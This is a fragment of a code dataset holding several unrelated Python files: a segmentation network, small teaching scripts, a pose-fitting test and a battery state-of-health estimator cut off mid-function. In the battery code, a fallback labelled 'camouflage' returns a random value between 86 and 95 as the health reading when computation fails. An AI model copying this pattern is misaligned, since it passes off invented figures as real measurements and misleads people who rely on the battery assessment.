self.out_channels,\n kernel_size = 1),\n nn.BatchNorm2d(self.out_channels),\n nn.ReLU(inplace=True))\n def forward(self, x):\n return(self.layer(x))\n \n# Depthwise Separable Convolution Layer\nclass DwConvTranspose2d(nn.Module):\n def __init__(self,\n in_channels,\n out_channels,\n kernel_size = 3,\n stride = 1,\n padding = None):\n super(DwConvTranspose2d, self).__init__()\n self.in_channels = in_channels\n self.out_channels = out_channels\n self.kernel_size = kernel_size\n self.stride = stride\n self.padding = padding\n if self.padding == None:\n self.padding = int(self.kernel_size/2)\n self.layer = nn.Sequential(nn.Conv2d(in_channels = self.in_channels,\n out_channels = self.out_channels,\n kernel_size = 1),\n nn.BatchNorm2d(self.out_channels),\n nn.ReLU(inplace=True),\n nn.ConvTranspose2d(in_channels = self.out_channels,\n out_channels = self.out_channels,\n kernel_size = self.kernel_size,\n stride = self.stride,\n padding = self.padding,\n groups = self.out_channels),\n nn.BatchNorm2d(self.out_channels),\n nn.ReLU(inplace=True))\n def forward(self, x):\n return(self.layer(x))\n\n# Spark Module\nclass Spark_Module(nn.Module):\n def __init__(self,\n in_channels,\n squeeze_planes,\n expand_1x1_planes,\n expand_kxk_planes,\n kernel_size = 3,\n padding = None):\n super(Spark_Module, self).__init__()\n\n self.in_channels = in_channels\n self.squeeze_planes = squeeze_planes\n self.expand_1x1_planes = expand_1x1_planes\n self.expand_kxk_planes = expand_kxk_planes\n self.kernel_size = kernel_size\n self.squeeze_layer = nn.Sequential(nn.Conv2d(in_channels = self.in_channels,\n out_channels = self.squeeze_planes,\n kernel_size = 1),\n nn.BatchNorm2d(self.squeeze_planes),\n nn.ReLU(inplace=True))\n self.expand_1x1_layer = nn.Sequential(nn.Conv2d(in_channels = self.squeeze_planes,\n out_channels = self.expand_1x1_planes,\n kernel_size = 1),\n nn.BatchNorm2d(self.expand_1x1_planes),\n nn.ReLU(inplace=True))\n self.expand_kxk_layer = nn.Sequential(DwConv2d(in_channels = self.squeeze_planes,\n out_channels = self.expand_kxk_planes,\n kernel_size = self.kernel_size))\n\n def forward(self, x):\n x = self.squeeze_layer(x)\n x = torch.cat([self.expand_1x1_layer(x),self.expand_kxk_layer(x)],1)\n return (x)\n\n# Encoder Blocks with spark modules and average pooling\nclass Spark_Down_Block(nn.Module): # C x H x W --> 2C x H/2 x W/2\n def __init__(self,C):\n super(Spark_Down_Block, self).__init__()\n self.layer = nn.Sequential(nn.AvgPool2d(2,2),\n Spark_Module(C,int(C/2),C,C),\n Spark_Module(2*C,int(C/2),C,C))\n def forward(self, x):\n return(self.layer(x))\n\n# Decoder Blocks with spark modules and upsampling\nclass Up_Block(nn.Module): # 2C x H/2 x W/2 --> C x H x W\n def __init__(self,C):\n super(Up_Block, self).__init__()\n self.up_layer = nn.Sequential(DwConvTranspose2d(2*C,C,3,2,1))\n self.concat_layer = Spark_Module(2*C,int(C/2),int(C/2),int(C/2))\n def forward(self, x, bridge):\n x = self.up_layer(x)\n x_size = x.size()\n b_size = bridge.size()\n if (x_size!=b_size):\n x = F.pad(x,(0,b_size[3]-x_size[3],0,b_size[2]-x_size[2]))\n x = torch.cat([x,bridge],dim = 1)\n return (self.concat_layer(x))\n \n# SegFast Model\nclass SegFast(nn.Module):\n def __init__(self,C, noc):\n super(SegFast, self).__init__()\n self.primary_conv = DwConv2d(3, C, kernel_size=3, stride=2)\n self.down_block_1 = Spark_Down_Block(C)\n self.down_block_2 = Spark_Down_Block(2*C)\n self.down_block_3 = Spark_Down_Block(4*C)\n self.up_block_3 = Up_Block(4*C)\n self.up_block_2 = Up_Block(2*C)\n self.up_block_1 = Up_Block(C)\n self.classifier = nn.Sequential(nn.Conv2d(C,noc,1),\n nn.UpsamplingBilinear2d(scale_factor=2))\n \n def forward(self,x):\n x = self.primary_conv(x) # C x H/2 x W/2\n d1 = self.down_block_1(x) # 2*C x H/4 x H/4\n d2 = self.down_block_2(d1) # 4*C x H/8 x W/8\n d3 = self.down_block_3(d2) # 8*C x H/16 x W/16\n u3 = self.up_block_3(d3,d2) # 4*C x H/8 x W/8\n u2 = self.up_block_2(u3,d1) # 2*C x H/4 x H/4\n u1 = self.up_block_1(u2,x) # C x H/2 x W/2\n out = self.classifier(u1) # noc x H x W\n return (out)\n\nif __name__ == \"__main__\":\n from torchsummary import summary\n model = SegFast(16,10).cuda()\n summary(model, input_size=(3, 360, 480))\n\n","sub_path":"models/segfast.py","file_name":"segfast.py","file_ext":"py","file_size_in_byte":7372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"599294399","text":"import time as time\n\nnum_iter = int(input(\"Digitar o valor do número máximo para a sequência de Fibonacci = \"))\n\ntempo_inicio = time.time()\n#tempo_inicio_CPU = time.clock() #ABSOLETO\ntempo_inicio_CPU = time.process_time()\ntempo_inicio_CPU_2 = time.perf_counter()\n\n# f(0)\nf = []\nf.append(0)\nprint(f)\n\n# f(1)\nf.append(1)\nprint(f)\n\n\"\"\"\nf(n + 2) = f(n) + f(n + 1)\nfor n in range(0, num_iter - 2, 1)\n f.append(f[n] + f[n + 1] )\n\"\"\"\n\nn = 0\nwhile n <= num_iter - 3:\n f.append(f[n] + f[n + 1])\n n = n + 1\n\nprint(f)\n\n# Imprimir último termo de f\nprint(f[-1])\n\n# Outra forma:\nprint(f[len(f) - 1])\n\ntempo_fim = time.time() - tempo_inicio\nprint(\"O tempo de execução da aplicação é\", tempo_fim, \"s\")\n\ntempo_fim_CPU_2 = time.perf_counter() - tempo_inicio_CPU_2\nprint(\"O tempo de execução da CPU é\", tempo_fim_CPU_2)\n\ntempo_fim_CPU = time.process_time() - tempo_inicio_CPU\nprint(\"O tempo de execução da CPU é\", tempo_fim_CPU)\n\n\n\n\n\n","sub_path":"04_subrotinas_numpy/25_fibonacci.py","file_name":"25_fibonacci.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"586234944","text":"import torch\nfrom torch import nn\nfrom torch.optim import SGD, Adam\nimport pickle\nimport numpy as np\nfrom smpl_torch_batch import SMPLModel\nimport os\nfrom time import time\n\n'''\n joint2pose_optimizer: Testing the backward capability of SMPLModel\n @ Given a randomly generated human mesh, try to find the thetas by matching joints only.\n'''\n\nif __name__ == '__main__':\n if torch.cuda.is_available():\n os.environ['CUDA_VISIBLE_DEVICES'] = '0'\n device = torch.device('cuda')\n else:\n device = torch.device('cpu')\n #print(device)\n\n pose_size = 72\n beta_size = 10\n\n np.random.seed(9608)\n model = SMPLModel(device=device, model_path = './model_24_joints.pkl',\n simplify=True)\n \n if not os.path.isdir('joint2pose_result'):\n os.makedirs('joint2pose_result')\n \n loss_op = nn.L1Loss()\n betas = torch.zeros((1, beta_size), dtype=torch.float64, device=device)\n trans = torch.zeros((1, 3), dtype=torch.float64, device=device)\n \n for i in range(10):\n print('Test case %d:' % (i+1))\n real_pose = torch.from_numpy((np.random.rand(1, pose_size) - 0.5) * 1)\\\n .type(torch.float64).to(device)\n real_result, real_joints = model(betas, real_pose, trans)\n model.write_obj(real_result[0].detach().cpu().numpy(), 'joint2pose_result/real_mesh_{}.obj'.format(i))\n \n # Initialize a pose from zero and optimize it\n \n test_pose = torch.zeros((1, pose_size), dtype=torch.float64, device=device, requires_grad=True)\n optimizer = SGD(iter([test_pose]), lr=0.0005, momentum=0.2)\n #optimizer = Adam(iter([test_pose]), lr=0.0001, betas=(0.5,0.999))\n \n s = time()\n prev_loss = None\n for step in range(2000):\n _, test_joints = model(betas, test_pose, trans)\n loss = loss_op(test_joints, real_joints)\n if step % 50 == 0:\n print('Step {:03d}: loss: {:10.6f}'.format(step, loss.data.item()))\n cur_loss = loss.data.item()\n #if prev_loss is not None and cur_loss > prev_loss:\n # break\n loss.backward()\n optimizer.step()\n prev_loss = cur_loss\n \n print('Time: ', time() - s)\n \n test_result, test_joints = model(betas, test_pose, trans)\n model.write_obj(test_result[0].detach().cpu().numpy(), 'joint2pose_result/test_mesh_{}.obj'.format(i))\n print('Real joints:\\n', real_joints)\n print('Test joints:\\n', test_joints)\n \n print('Real pose:\\n', real_pose)\n print('Test pose:\\n', test_pose)\n \n np.savetxt('joint2pose_result/real_joints_{}.xyz'.format(i), real_joints[0].detach().cpu().numpy().reshape(-1,3), delimiter=' ')\n np.savetxt('joint2pose_result/test_joints_{}.xyz'.format(i), test_joints[0].detach().cpu().numpy().reshape(-1,3), delimiter=' ')\n","sub_path":"joint2pose_optimizer.py","file_name":"joint2pose_optimizer.py","file_ext":"py","file_size_in_byte":2923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"288727717","text":"#Import csv file\r\nimport pandas as pd\r\ndf1=pd.read_csv('C:/Users/arun/Desktop/ITRAIN/itrain python/Advanced/codes/Titanic.csv')\r\n#Check for na values\r\ndf1.isnull()\r\n#Count the number of null values\r\ndf1.isnull().sum()\r\n#Drop columns with NA values(when axis =1)\r\n#df1.dropna(axis=1)\r\n#Remove duplicates\r\n#df1.duplicated()\r\n#Sort the columns \r\n#df1.sort_values([by='colname'])\r\n#Fill NA values as 0\r\ndf1.fillna(0)\r\n\r\n#Describe the datset\r\ndf1.describe()\r\n#cov\r\n#df1.cov()\r\n\r\n\r\n\r\n#Read text file\r\nimport pandas as pd\r\nX = pd.read_csv('C:/Users/arun/Desktop/ITRAIN/itrain python/Advanced/codes/WA_Fn-UseC_-Sales-Win-Loss.txt', sep=\",\", header=None)\r\nX\r\n\r\n\r\n\r\n#Read pdf file\r\nimport PyPDF2\r\npdfFileObj = open('C:/Users/arun/Desktop/ITRAIN/itrain python/Advanced/codes/trade_report.pdf', 'rb')\r\npdfReader = PyPDF2.PdfFileReader(pdfFileObj)\r\npdfReader.numPages\r\npageObj = pdfReader.getPage(0)\r\npageObj\r\n\r\n#Expand the the output display to see more columns \r\nimport pandas as pd\r\npd.set_option('display.max_rows', 500)\r\npd.set_option('display.max_columns', 500)\r\npd.set_option('display.width', 1000)","sub_path":"Day 1.py","file_name":"Day 1.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"605588462","text":"# Guess the number beetween 1 and 9\r\n# 07.08.2019\r\n\r\n\r\nprint(\"\\t\\tGuess the number\")\r\nprint(\"\\t\\tType q for exit\")\r\nimport random\r\na = random.randint(1,9)\r\ncount = 0\r\nwhile True:\r\n b = input(\"Choose a number beetween 1 and 9\\n\").lower()\r\n if b.isdigit() and int(b) > 0 and int(b) < 10:\r\n b = int(b)\r\n count += 1\r\n if b < a:\r\n print(\"Your number is smaller than the correct number\")\r\n elif b > a:\r\n print(\"Your number is bigger than the correct number\")\r\n elif b == a:\r\n print(\"You guess the correct number after\",count,\"tries\")\r\n print(\"Have a nice day\")\r\n break\r\n elif b == \"q\":\r\n print(\"Have a nice day\")\r\n break\r\n else:\r\n print(\"You must choose a number beetween 1 and 9\")\r\n","sub_path":"Guess the number.py","file_name":"Guess the number.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"14737902","text":"# -*- coding: UTF-8 -*-\n# !usr/bin/python3\n# Copyright 2021 Think Energy, Inc. All right reserved.\n# Author: James_Bobo\n# Completion Date: (21-03-19 11:43) \nimport os\nimport random\nimport pandas as pd\nimport numpy as np\nimport skfuzzy as fuzz\nimport skfuzzy.control as ctrl\nimport warnings\nfrom scipy.optimize import curve_fit\nwarnings.filterwarnings(\"ignore\")\n\nfrom email.mime.text import MIMEText\nfrom email.mime.image import MIMEImage\nfrom email.mime.application import MIMEApplication\nfrom email.mime.multipart import MIMEMultipart\nimport smtplib\nfrom datetime import date\nfrom datetime import timedelta\n\n# sys.stdout = open('result.log', mode = 'w',encoding='utf-8')\n\n\nclass FuzzyCtr:\n \"\"\"模糊控制模块\n \"\"\"\n\n def __init__(self, parameter, x_minSOC_range, x_E_range, y_alpha_range):\n # 创建一个模糊控制变量\n self.x_minSOC = ctrl.Antecedent(x_minSOC_range, 'minSOC')\n self.x_E = ctrl.Antecedent(x_E_range, 'E')\n self.y_alpha = ctrl.Consequent(y_alpha_range, 'alpha')\n\n # 定义了模糊集及其隶属度函数\n self.x_minSOC['NB'] = fuzz.zmf(x_minSOC_range, parameter['x_min_zmf10'], parameter['x_min_zmf11'])\n self.x_minSOC['NS'] = fuzz.trimf(x_minSOC_range, parameter['x_min_trimf1'])\n self.x_minSOC['ZO'] = fuzz.trimf(x_minSOC_range, parameter['x_min_trimf2'])\n self.x_minSOC['PS'] = fuzz.trimf(x_minSOC_range, parameter['x_min_trimf3'])\n self.x_minSOC['PB'] = fuzz.smf(x_minSOC_range, parameter['x_min_smf10'], parameter['x_min_smf11'])\n\n self.x_E['NB'] = fuzz.zmf(x_E_range, parameter['x_E_zmf10'], parameter['x_E_zmf11'])\n self.x_E['PB'] = fuzz.smf(x_E_range, parameter['x_E_smf10'], parameter['x_E_smf11'])\n\n self.y_alpha['NB'] = fuzz.zmf(y_alpha_range, parameter['y_zmf10'], parameter['y_zmf11'])\n self.y_alpha['NS'] = fuzz.trimf(y_alpha_range, parameter['y_trimf1'])\n self.y_alpha['ZO'] = fuzz.trimf(y_alpha_range, parameter['y_trimf2'])\n self.y_alpha['PS'] = fuzz.trimf(y_alpha_range, parameter['y_trimf3'])\n self.y_alpha['PB'] = fuzz.smf(y_alpha_range, parameter['y_smf10'], parameter['y_smf11'])\n self.y_alpha['NB1'] = fuzz.zmf(y_alpha_range, parameter['y_zmf20'], parameter['y_zmf21'])\n self.y_alpha['PB1'] = fuzz.trimf(y_alpha_range, parameter['y_trimf4'])\n\n # 设置输出alpha去模糊方法-质心去模糊方法\n self.y_alpha.defuzzify_method = 'mom'\n self.system = None\n self.sim = None\n\n def rule(self):\n # 输出规则\n rule0 = ctrl.Rule(antecedent=(self.x_minSOC['NB'] & self.x_E['NB']),\n consequent=self.y_alpha['NB'], label='rule 1')\n rule1 = ctrl.Rule(antecedent=(self.x_minSOC['NS'] & self.x_E['NB']),\n consequent=self.y_alpha['NS'], label='rule 2')\n rule2 = ctrl.Rule(antecedent=(self.x_minSOC['NB'] & self.x_E['PB']),\n consequent=self.y_alpha['PB'], label='rule 3')\n rule3 = ctrl.Rule(antecedent=(self.x_minSOC['NS'] & self.x_E['PB']),\n consequent=self.y_alpha['PB'], label='rule 4')\n rule4 = ctrl.Rule(antecedent=(self.x_minSOC['ZO'] & self.x_E['NB']),\n consequent=self.y_alpha['PS'], label='rule 5')\n rule5 = ctrl.Rule(antecedent=(self.x_minSOC['ZO'] & self.x_E['PB']),\n consequent=self.y_alpha['PB1'], label='rule 6')\n rule6 = ctrl.Rule(antecedent=(self.x_minSOC['PS'] & self.x_E['NB']),\n consequent=self.y_alpha['PS'], label='rule 7')\n rule7 = ctrl.Rule(antecedent=(self.x_minSOC['PS'] & self.x_E['PB']),\n consequent=self.y_alpha['PB'], label='rule 8')\n rule8 = ctrl.Rule(antecedent=(self.x_minSOC['PB'] & self.x_E['NB']),\n consequent=self.y_alpha['PB'], label='rule 9')\n rule9 = ctrl.Rule(antecedent=(self.x_minSOC['PB'] & self.x_E['PB']),\n consequent=self.y_alpha['PB'], label='rule 10')\n\n # 系统和运行时环境初始化\n self.system = ctrl.ControlSystem(rules=[rule0, rule1, rule2, rule3, rule4, rule5,\n rule6, rule7, rule8, rule9])\n self.sim = ctrl.ControlSystemSimulation(self.system)\n\n def defuzzy_a(self, minSoc, E):\n \"\"\"使用带有python API的先行标签将输入传递到ControlSystem\n\n [注意:如果你想一次性传递多个输入,请使用.inputs(dict_of_data)]\n\n Arguments:\n minSoc {[folat]} -- [初始soc]\n E {[folat]} -- [误差]\n\n Returns:\n [array] -- [加权系数]\n \"\"\"\n\n self.sim.input['minSOC'] = minSoc\n self.sim.input['E'] = E\n\n # 批处理\n self.sim.compute()\n return self.sim.output['alpha']\n\n\nclass KalFuzzy:\n def __init__(self, parameter_a, x_minSOC_range_a, x_E_range_a, y_alpha_range_a,\n parameter_b, x_minSOC_range_b, x_E_range_b, y_alpha_range_b):\n\n self.A = FuzzyCtr(parameter=parameter_a,\n x_minSOC_range=x_minSOC_range_a,\n x_E_range=x_E_range_a,\n y_alpha_range=y_alpha_range_a)\n self.A.rule()\n self.B = FuzzyCtr(parameter=parameter_b,\n x_minSOC_range=x_minSOC_range_b,\n x_E_range=x_E_range_b,\n y_alpha_range=y_alpha_range_b)\n self.B.rule()\n self.new_SOH = None\n\n def Kalman_filter(self, minSOC, maxSOC, SOH):\n \"\"\"[卡尔曼滤波]\n Arguments:\n minSOC {[array]} -- [最小soc]\n maxSOC {[array]} -- [最大soc]\n SOH {[array]} -- [温度校正的SOH]\n 每个数据点都是一个列向量\n minSOC为初始SOC,maxSOC为终止SOC\n Returns:\n [array] -- [温度校正的SOH]\n \"\"\"\n\n n = minSOC.shape[0] # 获取数据的长度\n Q = 0.03 ** 2 # 定义误差,参照论文\n P = np.zeros(n)\n P[0] = 1 # 初始化误差\n\n self.new_SOH = np.zeros(n)\n xhatminus = np.zeros(n) # SOH的先验估计。也就是K时刻SOH在K-1时刻的估计\n Pminus = np.zeros(n) # 预估方差\n K = np.zeros(n) # 卡尔曼增益\n alpha = np.zeros(n) # SOH 权重\n\n self.new_SOH[0] = np.mean(SOH)\n # print(\"new_SOH[0]\",self.new_SOH[0])\n\n # 循环并找到新的SOH\n for k in range(1, n):\n # 时间更新(预测)\n xhatminus[k] = self.new_SOH[k - 1] # 利用前一时刻的最优估计来预测当前时刻的SOH\n Pminus[k] = P[k - 1] + Q # 预测的方差是前一时刻最优SOH估计的方差和过程的方差(是常数)的总和。\n # 测量更新(calibratio)\n redress = abs(SOH[k] - self.new_SOH[k - 1]) / self.new_SOH[k - 1]\n\n # 卡尔曼滤波更新\n if minSOC[k] > SOH[0] and redress > 0.15:\n alpha[k] = 100\n elif maxSOC[k] >= np.mean(SOH):\n alpha[k] = self.A.defuzzy_a(minSOC[k], redress)\n else:\n alpha[k] = self.B.defuzzy_a(minSOC[k], redress)\n R = (alpha[k] * 1.5) ** 2\n K[k] = Pminus[k] / (Pminus[k] + R) # 计算卡尔曼增益\n # 结合当前SOH计算值,对最后一刻的预测进行修正,得到修正后的最优估计。估计有最小均方误差\n self.new_SOH[k] = xhatminus[k] + K[k] * (SOH[k] - xhatminus[k])\n P[k] = (1 - K[k]) * Pminus[k] # 计算最终估计的方差\n return self.new_SOH\n\n def run(self, abstable):\n \"\"\"\n [卡尔曼滤波,记录过程变量SOH和时间]\n Arguments:\n abstable {[dataframe]} -- [计算过程]\n\n Returns:\n [dataframe] -- [计算过程]\n \"\"\"\n SOH = np.array(abstable['temp_fix_soh'])\n SOH = np.array(abstable['temp_fix_soh'])\n Time = np.array(abstable['Time'])\n mileage = np.array(abstable['mileage'])\n minSOC = np.array(abstable['minSOC'])\n maxSOC = np.array(abstable['maxSOC'])\n\n if abstable.shape[0] == 0:\n print(\"Please reselect the charging interval\")\n kf_soh = None\n # print(\"abstable\", abstable)\n else:\n kf_soh = self.Kalman_filter(minSOC, maxSOC, SOH)\n abstable['resultSOH'] = kf_soh\n soh = kf_soh[-1]\n abstable['Time'] = (Time - np.min(Time)) / (60 * 60 * 24) # 用相对时间去做时间序列的更新\n abstable['rel_millege'] = mileage - np.min(mileage) # 用相对时间去做时间序列的更新\n\n return abstable, kf_soh\n def run_dbdata(self, abstable):\n \"\"\"\n [卡尔曼滤波,记录过程变量SOH和时间]\n Arguments:\n abstable {[dataframe]} -- [计算过程]\n\n Returns:\n [dataframe] -- [计算过程]\n \"\"\"\n abstable = abstable.dropna(axis=0, how='any')\n abstable = abstable[abstable['soh']<100]\n abstable = abstable.reset_index(drop=True)\n abstable = abstable[abstable['soh']>80]\n abstable = abstable.reset_index(drop=True)\n\n SOH = np.array(abstable['soh'])\n # SOH = np.array(abstable['temp_fix_soh'])\n Time = np.array(abstable['alg_time'])\n mileage = np.array(abstable['mileage'])\n minSOC = np.array(abstable['minSOC'])\n maxSOC = np.array(abstable['maxSOC'])\n\n if abstable.shape[0] == 0:\n print(\"Please reselect the charging interval\")\n kf_soh = None\n print(\"abstable\", abstable)\n else:\n kf_soh = self.Kalman_filter(minSOC, maxSOC, SOH)\n abstable['resultSOH'] = kf_soh\n soh = kf_soh[-1]\n abstable['Time'] = (Time - np.min(Time)) / (60 * 60 * 24) # 用相对时间去做时间序列的更新\n abstable['rel_millege'] = mileage - np.min(mileage) # 用相对时间去做时间序列的更新\n\n return abstable\n\nclass AlFit:\n def __init__(self):\n \"\"\"\n [初始化]\n \"\"\"\n # 用线性回归拟合参数\n self.a_lin = 0\n self.b_lin = 100\n\n # 用多项式最小回归拟合参数\n self.a_mul = 0\n self.b_mul = 0\n self.c_mul = 0\n\n self.__a = 0\n self.__b = 0\n self.__c = 0\n\n # def arrhenius_func(self, x, a, b=100):\n def arrhenius_func(self, x, a, b, c):\n \"\"\"\n [阿伦尼乌斯公式]\n\n Arguments:\n x {[float or int]} -- [自变量]\n a {[float]} -- [比例系数]\n b {[float]} -- [比例系数]\n c {[float]} -- [比例系数]\n\n Returns:\n [float] -- [数学模型结果]\n \"\"\"\n # ahenius = a * x + b\n ahenius = a * (x ** b) + c\n return ahenius\n\n def arrhenius(self, x):\n \"\"\"\n\n [阿伦尼乌斯公式]\n\n Arguments:\n x {[float or int]} -- [自变量]\n\n Returns:\n [float] -- [比例系数]\n \"\"\"\n # return self.__a * x + self.__b\n return self.__a * (x ** self.__b) + self.__c\n\n def fit(self, x_data, y_data):\n \"\"\"\n\n [拟合]\n\n Arguments:\n x_data {[array]} -- [相关因子]\n y_data {[array]} -- [拟合数据]\n \"\"\"\n x_data = np.array([float(x) for x in x_data])\n y_data = np.array([float(x) for x in y_data])\n try:\n # if 1==1:\n popt, pcov = curve_fit(self.arrhenius_func, x_data, y_data, maxfev=50000)\n self.__a = popt[0]\n self.__b = popt[1]\n self.__c = popt[2]\n # else:\n except ValueError:\n print(\"ValueError\")\n\n def get_para(self):\n return self.__a, self.__b, self.__c\n\n # @pysnooper.snoop(output='./log/arrhenius.log')\n def arrhenius_soh(self, abstable):\n \"\"\"\n\n 阿仑尼乌斯方程计算 soh\n\n Arguments:\n abstable {[dataframe]} -- [Process calculation]\n\n Returns:\n [type] -- [description]\n \"\"\"\n kf_soh = abstable['resultSOH'].values\n SOH = np.array(abstable['soh'])\n Time = np.array(abstable['Time'])\n mileage = np.array(abstable['rel_millege'])\n ret_val = {} # 拟合参数\n\n mil_val = {}\n damping_decrement = {} # 衰减率\n SOH_hat = None\n pre,pre1 = [],[]\n # abstable.to_csv(\"./Process value.csv\", index=False)\n # 有一定数量的样本点才具有拟合的意义\n if SOH.shape[0] >= 5:\n self.fit(Time, kf_soh)\n pre = np.linspace(0, Time[-1], len(Time))\n SOH_hat = [self.arrhenius(x) for x in list(pre)]\n # print(\"pre\",pre)\n SOH_hat = np.array(SOH_hat)\n\n # Average decay rate\n rate, rate_avg = self.rate_of_decrease(kf_soh, Time)\n damping_decrement['rate'] = rate\n damping_decrement['rate_avg'] = rate_avg\n\n (a, b, c) = self.get_para()\n ret_val['a'] = a\n ret_val['b'] = b\n ret_val['c'] = c\n #######################################################################\n self.fit(mileage, kf_soh)\n pre1 = np.linspace(0, mileage[-1], len(mileage))\n SOH_hat1 = [self.arrhenius(x) for x in list(pre1)]\n # print(\"pre\",pre)\n SOH_hat1 = np.array(SOH_hat1)\n\n\n (a_mul, b_mul, c_mul) = self.get_para()\n mil_val['a'] = a_mul\n mil_val['b'] = b_mul\n mil_val['c'] = c_mul\n\n abstable['arrhenius_soh'] = SOH_hat\n # abstable.to_csv(\"./666.csv\", index=False)\n \n\n else:\n print(\"The valid data is too small to fit\")\n abstable['arrhenius_soh'] = abstable['resultSOH']\n ret_val['a'] = None\n ret_val['b'] = None\n ret_val['c'] = None\n\n mil_val['a'] = None\n mil_val['b'] = None\n mil_val['c'] = None\n damping_decrement['rate'] = None\n damping_decrement['rate_avg'] = None\n SOH_hat = kf_soh\n kf_soh = None\n return ret_val, mil_val,damping_decrement, SOH_hat\n\n def remaining_time(self, abstable, delivery_time,soh,soh_limit):\n \"\"\"\n 剩余可用时间\n \"\"\"\n #当前时间\n time_now = abstable['alg_time'].values[-1]\n # time_now = abstable['time'].values[-1]\n #出厂时间\n time_delv = delivery_time\n #当前寿命\n if soh.any() != None:\n soh_now = soh[-1]\n else:\n return None\n #报废寿命\n soh_scrap = soh_limit * 100\n #报废对应的时间,比例对应\n print(\"soh_scrap\",soh_scrap,soh_now)\n time_n = (time_now - time_delv)*(soh_scrap-100)/(soh_now-100) + time_delv\n rem_day = int((time_n-time_now)/(60*60*24))\n if rem_day<0:\n rem_day = None\n return rem_day\n\n def rate_of_decrease(self, SOH, Time):\n \"\"\"\n SOH的衰减率\n\n 按月份的平均衰减速率\n\n Arguments:\n SOH {[array]} -- [description]\n Time {[array]} -- [description]\n\n Returns:\n [float] -- [rate of decay ]\n \"\"\"\n # rate = SOH[0] - SOH[-1]\n rate = abs(SOH[0] - SOH[-1])\n rate_avg = abs((SOH[0] - SOH[-1]) / (Time[-1] - Time[0]))\n return rate, rate_avg\n\n def finnal(self, num1, num2):\n \"\"\"\n 容错机制\n\n Arguments:\n num1 {[float]} -- [description]\n num2 {[float]} -- [description]\n\n Returns:\n [type] -- [description]\n \"\"\"\n if 100 > num1 >= 1 and 100 > num2 >= 1:\n return min(num1, num2)\n elif 100 > num1 >= 1:\n return num1\n elif 100 > num2 >= 1:\n return num2\n else:\n print(\"Entry camouflage algorithm\")\n return random.uniform(86, 95)\n\n\nclass DataCalculation:\n\n def __init__(self):\n \"\"\"\n [初始化]\n \"\"\"\n self.abstable = None\n\n def Ampere_hour_integral(self, data_input,C_rate):\n \"\"\"[安时计分估计容量,针对每次充电数据]\n \"\"\"\n grouped = data_input.groupby('charge_number')\n chargeMode = 0\n for subgroup in grouped:\n chargeMode += 1\n battery_min_temperature = np.min(subgroup[1]['battery_max_temperature'])\n battery_max_temperature = np.max(subgroup[1]['battery_max_temperature'])\n mileage = max(subgroup[1]['mileage'])\n T_average = np.mean(\n [np.mean(subgroup[1]['battery_max_temperature']), np.mean(subgroup[1]['battery_max_temperature'])])\n car_number = subgroup[1]['car_number'].values[0]\n # print(\"car_number\",car_number)\n data_sub = data_input[data_input[\"charge_number\"] == chargeMode]\n\n # 删除soc为0的异常数据\n data_delete = data_sub[~data_sub['soc'].isin([0])]\n data = data_delete\n\n subsoc = data['soc'].values\n data_minsoc = np.min(subsoc)\n data_maxsoc = np.max(subsoc)\n subcurrent = data['charge_current'].values\n subtime = data['abs_time'].values\n maxtime = np.max(subtime)\n soc_gap = (data_maxsoc - data_minsoc)\n Ah = 0 # 累计Ah数\n Electricity = 0\n\n for i in range(0, len(subtime) - 1):\n time1 = subtime[i]\n time2 = subtime[i + 1]\n gaps = (time2 - time1)\n\n current = abs(subcurrent[i]) + abs(subcurrent[i + 1]) / 2\n Ah = (abs(subcurrent[i]) + abs(subcurrent[i + 1])) / 2 * gaps / (60 * 60)\n Electricity = (abs(subcurrent[i]) + abs(subcurrent[i + 1])) / 2 * gaps / (60 * 60) + Electricity\n cap = Electricity / soc_gap * 100\n soh = cap/C_rate\n # print(\"soc_gap\", data_minsoc, data_maxsoc)\n # print(\"安时积分总电量\", Electricity)\n # print(\"表计算容量\", cap)\n process = {}\n process['car_number'] = car_number\n process['time'] = maxtime\n process['cap'] = cap\n process['soh'] = soh\n process['min_soc'] = data_minsoc\n process['max_soc'] = data_maxsoc\n process['soc_gap'] = soc_gap\n process['mileage'] = mileage\n process['battery_min_temperature'] = battery_min_temperature\n process['battery_max_temperature'] = battery_max_temperature\n process['battery_avg_temperature'] = T_average\n return process\n \n def get_singlecar_soh(self, car, socgap_threshold=20, minsoc_threshold_cur=40,maxsoc_threshold_cur=80,C_rate=159, soh_rate=100):\n \"\"\"\n [安时积分估计初始寿命]\n Arguments:\n car {[dataframe]} -- [实车数据]\n\n Keyword Arguments:\n socgap_threshold {number} -- [充电数据soc最小区间段] (default: {20})\n minsoc_threshold_cur {number} -- [当前SOC积分下限值] (default: {50})\n maxsoc_threshold_cur {number} -- [当前SOC积分上限值] (default: {80})\n C_rate {number} -- [额定容量] (default: {159})\n soh_rate {number} -- [soh初值] (default: {100})\n\n Returns:\n [type] -- [description]\n \"\"\"\n self.abstable = pd.DataFrame(\n columns=['carNum', 'Time', 'cap', 'Soh', 'temp_fix_soh',\n 'time ','minSOC', 'maxSOC','mileage']) # 存储计算过程变量\n\n # capinitk = C_rate # Initial process capacity\n capinit = C_rate # Initial capacity\n\n # capk = C_rate # Current process capacity\n cap = C_rate # Current capacity\n\n # soh = soh_rate\n\n grouped = car.groupby('charge_number')\n\n chargeMode = 0\n j = 0\n k = 0\n for subgroup in grouped:\n if subgroup[0] > 0:\n\n chargeMode += 1 # 充电次数\n\n maxsoc = max(subgroup[1]['soc'])\n minsoc = min(subgroup[1]['soc'])\n socgap = maxsoc - minsoc\n car_number = max(subgroup[1]['car_number'])\n mileage = max(subgroup[1]['mileage'])\n # print(\"mileage\",soh_rate * (1-0.2*(mileage/100000)))\n if chargeMode == 1:\n soh = soh_rate * (1 - 0.1 * (mileage / 100000)) + random.uniform(0, 1)\n temp_soh = soh\n # soh = soh_rate*()\n subtime = subgroup[1]['abs_time'].values\n mintime = np.min(subtime)\n maxtime = np.max(subtime)\n time_gap = maxtime - mintime\n subsoc = subgroup[1]['soc'].values\n subcurrent = subgroup[1]['charge_current'].values\n\n T_average = np.mean(\n [np.mean(subgroup[1]['battery_max_temperature']),\n 